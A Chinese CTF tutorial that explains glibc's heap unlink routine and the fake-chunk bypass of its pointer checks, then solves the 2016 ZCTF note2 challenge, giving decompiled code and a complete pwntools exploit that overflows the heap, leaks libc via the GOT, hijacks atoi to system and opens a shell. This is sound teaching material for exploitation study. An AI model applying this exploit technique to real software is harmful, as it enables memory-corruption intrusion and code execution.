![52525a6183f6f48de798435d463075ea.png](https://i-blog.csdnimg.cn/blog_migrate/063449054effe47b91c74b6a261609ee.jpeg)
1 知识补充
什么是unlink
unlink 用来将一个双向链表(只存储空闲的 chunk)中的一个元素取出来。
哪里用到unlink
unlink()
常用于free()
中进行 chunk 的整理,可以对空闲 chunk 进行前向合并和后向合并。
当被free()
的 chunk 的 P 位为 0 时,说明被free()
的 chunk 的前一个 chunk 为空,于是对前一个 chunk 进行 unlink 操作,将前一个 chunk 与被free()
的 chunk 进行后向合并。后向合并的操作首先将两个 chunk 的大小相加,然后对前一个 chunk 进行 unlink。
/* Size of the chunk below P. Only valid if !prev_inuse (P). */
#define prev_size(p) ((p)->mchunk_prev_size)
/* extract inuse bit of previous chunk */
#define prev_inuse(p) ((p)->mchunk_size & PREV_INUSE)
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
如果被free()
的 chunk 相邻的下一个 chunk 处于 inuse 状态,清除当前 chunk 的 inuse 状态,则当前 chunk 空闲了。否则,将相邻的下一个空闲 chunk 从空闲链表中删除,并计算当前 chunk 与下一个 chunk 合并后的 chunk 大小。
/* true if nextchunk is used */
int nextinuse;
/* consolidate forward */
if (!nextinuse) {
unlink_chunk (av, nextchunk);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
unlink是怎么实现的
为什么我在 malloc.c 里找到的 unlink 是个函数,别人的 unlink 是个宏啊...
我们先看一下他的源代码:
/* Take a chunk off a bin list. */
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
可以看到unlink()
函数首先检查当前 chunk 的 size 和下一个 chunk 的 prev_size 是否相等。
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
然后定义fd
为前一个 chunk 的指针,bk
为后一个 chunk 的指针。为了方便区分,我把新的 fd 变成FD
表示前一个 chunk,bk 变成BK
表示后一个 chunk。
mchunkptr FD = p->fd;
mchunkptr BK = p->bk;
然后进行了最重要的检查:检查后一个 chunk 的 bk 和前一个 chunk 的 fd 是否指向当前 chunk
if (__builtin_expect (FD->bk != p || BK->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
接下来就是unlink操作了,将前一个 chunk 的 bk 指向后一个 chunk,后一个 chunk 的 fd 指向前一个 chunk。后面是其他检查了,可以看 ctf-wiki 的详解。
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink/
2 利用方法
我们怎么触发 unlink 呢?我们先假设伪造了一个 fake chunk 可以成功利用 unlink。这时我们可以通过溢出的方式将某个 chunk 的 prev_size 改写成这个 chunk 到 fake chunk 的距离,并将 size 的 P 位改成 0,然后对该 chunk 进行free()
,就触发了后向合并,此时会对 fake chunk 进行 unlink。
我们如何利用 unlink 呢?我们伪造的 fake chunk 需要满足FD->bk == p && BK->fd == p
,才能让FD->bk = BK;BK->fd = FD;
。如果我们有一个指向 fake chunk 的指针的地址时好像就有办法了。我们先设指向 fake chunk 的指针为ptr
,然后构造一个这样的 fake chunk:
fd = &ptr-0x18;
bk = &ptr-0x10;
此时的FD和BK:
FD == &ptr-0x18;
BK == &ptr-0x10;
在 unlink 执行检查时,发现满足条件,成功通过检查:
FD->bk == *(&ptr-0x18+0x18) == p;
BK->fd == *(&ptr-0x10+0x10) == p;
执行 unlink,最后ptr
指向&ptr-0x18
处的位置:
// FD->bk = BK
// *(&ptr-0x10+0x10) = &ptr-0x10;
ptr = &ptr-0x10;
// BK->fd = FD
// *(&ptr-0x10+0x10) = &ptr-0x18
ptr = &ptr-0x18
3 实战
2016 ZCTF note2
程序分析
可以看到程序有常见的4个操作。
void __fastcall main(__int64 a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(0x3Cu);
puts("Input your name:");
readData(::a1, 64LL, 10);
puts("Input your address:");
readData(byte_602180, 96LL, 10);
while ( 1 )
{
switch ( sub_400AFB() )
{
case 1:
new();
break;
case 2:
show();
break;
case 3:
edit();
break;
case 4:
delete();
break;
case 5:
puts("Bye~");
exit(0);
return;
case 6:
exit(0);
return;
default:
continue;
}
}
}
new()
,只能分配3块内存,并且最大只能分配0x80大小的内存:
int new()
{
char *mem; // ST08_8
unsigned int v2; // eax
unsigned int size; // [rsp+4h] [rbp-Ch]
if ( (unsigned int)noteNumber > 3 )
return puts("note lists are full");
puts("Input the length of the note content:(less than 128)");
size = readNum();
if ( size > 0x80 )
return puts("Too long");
mem = (char *)malloc(size);
puts("Input the note content:");
readData(mem, size, 'n');
deletePercent(mem);
*(&ptr + (unsigned int)noteNumber) = mem;
sizeArr[noteNumber] = size;
v2 = noteNumber++;
return printf("note add success, the id is %dn", v2);
}
正常的show()
,可以用于泄漏信息
int show()
{
__int64 num; // rax
int choose; // [rsp+Ch] [rbp-4h]
puts("Input the id of the note:");
LODWORD(num) = readNum();
choose = num;
if ( (signed int)num >= 0 && (signed int)num <= 3 )
{
num = (__int64)*(&ptr + (signed int)num);
if ( num )
LODWORD(num) = printf("Content is %sn", *(&ptr + choose));
}
return num;
}
edit()
函数,可以看到有两种方式进行编辑,可以看到程序先分配了一块 0xA0 大小的内存作为缓冲区,然后让用户决定使用哪种方式编辑。第一种是先在刚分配的缓冲区中存储输入,然后strcpy到原有堆中,第二种是进行一次strcpy保留原本数据后再进行输入和拼接。
unsigned __int64 edit()
{
char *temp; // rax
char *v1; // rbx
int index; // [rsp+8h] [rbp-E8h]
int choice; // [rsp+Ch] [rbp-E4h]
char *data; // [rsp+10h] [rbp-E0h]
__int64 noteSize; // [rsp+18h] [rbp-D8h]
char buffer[128]; // [rsp+20h] [rbp-D0h]
char *temp1; // [rsp+A0h] [rbp-50h]
unsigned __int64 v9; // [rsp+D8h] [rbp-18h]
v9 = __readfsqword(0x28u);
if ( noteNumber )
{
puts("Input the id of the note:");
index = readNum();
if ( index >= 0 && index <= 3 )
{
data = (char *)*(&ptr + index);
noteSize = sizeArr[index];
if ( data )
{
puts("do you want to overwrite or append?[1.overwrite/2.append]");
choice = readNum();
if ( choice == 1 || choice == 2 )
{
if ( choice == 1 )
buffer[0] = 0;
else
strcpy(buffer, data);
temp = (char *)malloc(0xA0uLL);
temp1 = temp;
*(_QWORD *)temp = 'oCweNehT';
*((_QWORD *)temp + 1) = ':stnetn';
printf(temp1);
readData(temp1 + 15, 0x90LL, 10);
deletePercent(temp1 + 15);
v1 = temp1;
v1[noteSize - strlen(buffer) + 14] = 0;
strncat(buffer, temp1 + 15, 0xFFFFFFFFFFFFFFFFLL);
strcpy(data, buffer);
free(temp1);
puts("Edit note success!");
}
else
{
puts("Error choice!");
}
}
else
{
puts("note has been deleted");
}
}
}
else
{
puts("Please add a note!");
}
return __readfsqword(0x28u) ^ v9;
}
delete()
函数,对数组进行了清空
int delete()
{
__int64 v0; // rax
int v2; // [rsp+Ch] [rbp-4h]
puts("Input the id of the note:");
LODWORD(v0) = readNum();
v2 = v0;
if ( (signed int)v0 >= 0 && (signed int)v0 <= 3 )
{
v0 = (__int64)*(&ptr + (signed int)v0);
if ( v0 )
{
free(*(&ptr + v2));
*(&ptr + v2) = 0LL;
sizeArr[v2] = 0LL;
LODWORD(v0) = puts("delete note success!");
}
}
return v0;
}
重头戏:输入处理,乍看没有错,但是当size = 0
时size - 1 == -1
对应的是 unsigned int 的最大值,此时就造成了不限长度输入了。于是就有了喜闻乐见的堆溢出。
unsigned __int64 __fastcall readData(char *buffer, __int64 size, char end)
{
char ends; // [rsp+Ch] [rbp-34h]
char buf; // [rsp+2Fh] [rbp-11h]
unsigned __int64 i; // [rsp+30h] [rbp-10h]
ssize_t res; // [rsp+38h] [rbp-8h]
ends = end;
for ( i = 0LL; size - 1 > i; ++i )
{
res = read(0, &buf, 1uLL);
if ( res <= 0 )
exit(-1);
if ( buf == ends )
break;
buffer[i] = buf;
}
buffer[i] = 0;
return i;
}
漏洞利用
从程序分析中可以知道有一个溢出点,我们可以通过这个溢出往下一个 chunk 的 fd 和 bk 写入特定内容来利用 unlink。
先实现脚手架:
from pwn import *
r = process('./note2')
elf = ELF('note2')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
#gdb.attach(r, gdbscript='b *0x00400DA2ncn')
#context(log_level="DEBUG", arch="amd64", os="linux")
def new(size, content):
r.sendlineafter('option--->>', '1')
r.sendlineafter('(less than 128)', str(size))
r.sendlineafter('Input the note content:', content)
def show(index):
r.sendlineafter('option--->>', '2')
r.sendlineafter('Input the id of the note:', str(index))
r.recvuntil('Content is ')
content = r.recvuntil('n', drop=True)
return content
def edit(index, oper, content):
'''
oper = 1: overwrite
oper = 2: append
'''
r.sendlineafter('option--->>', '3')
r.sendlineafter('Input the id of the note:', str(index))
r.sendlineafter('[1.overwrite/2.append]', str(oper))
r.sendlineafter('TheNewContents:', content)
def delete(index):
r.sendlineafter('option--->>', '4')
r.sendlineafter('Input the id of the note:', str(index))
def start():
r.sendlineafter('Input your name:', '233')
r.sendlineafter('Input your address:', '666')
然后是构造 fake chunk,并利用 unlink。已知存储分配的 note 的指针为 0x602120
,用上面讲的方法以fd = 0x602120 - 0x18; bk = 0x602120 - 0x10
构造 fake chunk。然后再分配一个大小为 0 的 note,然而 glibc 实际分配 chunk 大小为 0x20,这个分配用来占位。最后分配一个 0x80 的 chunk。接下来通过溢出修改第三次分配的 chunk 的 prev_size 和 size 来触发 unlink 操作,首先我们需要计算 prev_size 的大小,可以知道第一次分配的 chunk 的 data 段 大小为 0x80,第二次分配的 chunk 大小为 0x20,为了使第三次分配的 chunk 的 prev_size 指向 fake chunk,我们要将第三次分配的 chunk 的 prev_size 改成 0x20+0x80,并且记得将 size 的 P 位变成 0。最后通过delete(2)
来触发 对 fake chunk 的 unlink。
print('prepare to unlink')
target = 0x602120
fd = target - 0x18
bk = target - 0x10
# fake prev_size, size
fakeChunk = p64(0x0) + p64(0xA0)
# fake fd, bk
fakeChunk += p64(fd) + p64(bk)
# padding
fakeChunk += 'a' * 0x60
# biggest size edit() can edit = 0x80
new(0x80, fakeChunk)
# take place
new(0, 'B' * 8)
new(0x80, 'C' * 8)
delete(1)
print('unlinking')
# overflow
unlink = 'a' * 0x10
# chunk1's size = 0x20, chunk0 data's size = 0x80
# so, mod prev_size = 0xA0, size = 0x90
unlink += p64(0xA0) + p64(0x90)
new(0, unlink)
delete(2)
经过上面的 unlink 后,0x602120
指向了 0x602120-0x18
,这时候我们只需要编辑 id 为 0 的 note 就可以改变 0x602120-0x18
及其之后的内容,我们可以将0x602120
改成 atoi()
的 got表 地址,然后通过show(0)
来泄露信息。
print("now target[0]'s content is '&target-0x18'")
print('start leaking libc address')
leakLibc = 'A' * 0x18 + p64(elf.got['atoi'])
edit(0, 1, leakLibc)
leakStr = show(0)
atoiAddr = u64(leakStr.ljust(8, 'x00'))
libcBaseAddr = atoiAddr - libc.symbols['atoi']
systemAddr = libcBaseAddr + libc.symbols['system']
print('libc base address: %x' % libcBaseAddr)
print('system address: %x' % systemAddr)
由于之前已经把0x602120
指向的内容变成了atoi()
的 got表地址,所以直接编辑 id 为 0 的 note 就可以 get shell。
print("now moddding atoi's got table")
edit(0, 1, p64(systemAddr))
r.sendline('/bin/sh')
r.interactive()
最终exp
from pwn import *
r = process('./note2')
elf = ELF('note2')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
#gdb.attach(r, gdbscript='b *0x00400DA2ncn')
#context(log_level="DEBUG", arch="amd64", os="linux")
def new(size, content):
r.sendlineafter('option--->>', '1')
r.sendlineafter('(less than 128)', str(size))
r.sendlineafter('Input the note content:', content)
def show(index):
r.sendlineafter('option--->>', '2')
r.sendlineafter('Input the id of the note:', str(index))
r.recvuntil('Content is ')
content = r.recvuntil('n', drop=True)
return content
def edit(index, oper, content):
'''
oper = 1: overwrite
oper = 2: append
'''
r.sendlineafter('option--->>', '3')
r.sendlineafter('Input the id of the note:', str(index))
r.sendlineafter('[1.overwrite/2.append]', str(oper))
r.sendlineafter('TheNewContents:', content)
def delete(index):
r.sendlineafter('option--->>', '4')
r.sendlineafter('Input the id of the note:', str(index))
def start():
r.sendlineafter('Input your name:', '233')
r.sendlineafter('Input your address:', '666')
if __name__ == "__main__":
start()
print('prepare to unlink')
target = 0x602120
fd = target - 0x18
bk = target - 0x10
# fake presize, size
fakeChunk = p64(0x0) + p64(0xA0)
# fake fd, bk
fakeChunk += p64(fd) + p64(bk)
# padding
fakeChunk += 'a' * 0x60
# biggest size edit() can edit = 0x80
new(0x80, fakeChunk)
# take place
new(0, 'B' * 8)
new(0x80, 'C' * 8)
delete(1)
print('unlinking')
# overflow
unlink = 'a' * 0x10
# chunk1's size = 0x20, chunk0 data's size = 0x80
# 0x20 + 0x80 = 0xA0
# so, mod prev_size = 0xA0, size = 0x90
unlink += p64(0xA0) + p64(0x90)
new(0, unlink)
delete(2)
print("now target[0]'s content is '&target-0x18'")
print('start leaking libc address')
leakLibc = 'A' * 0x18 + p64(elf.got['atoi'])
edit(0, 1, leakLibc)
leakStr = show(0)
atoiAddr = u64(leakStr.ljust(8, 'x00'))
libcBaseAddr = atoiAddr - libc.symbols['atoi']
systemAddr = libcBaseAddr + libc.symbols['system']
print('libc base address: %x' % libcBaseAddr)
print('system address: %x' % systemAddr)
print("now moddding atoi's got table")
edit(0, 1, p64(systemAddr))
r.sendline('/bin/sh')
r.interactive()
4 总结
我就想为什么看不懂大佬们写的unlink介绍,原来是因为很多关于unlink的介绍都少了怎么触发unlink...
refs:
https://blog.csdn.net/xiaoi123/article/details/82998091
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink/
http://tacxingxing.com/2017/08/16/unlink
https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#unlink_chunk
https://mqzhuang.iteye.com/blog/1064963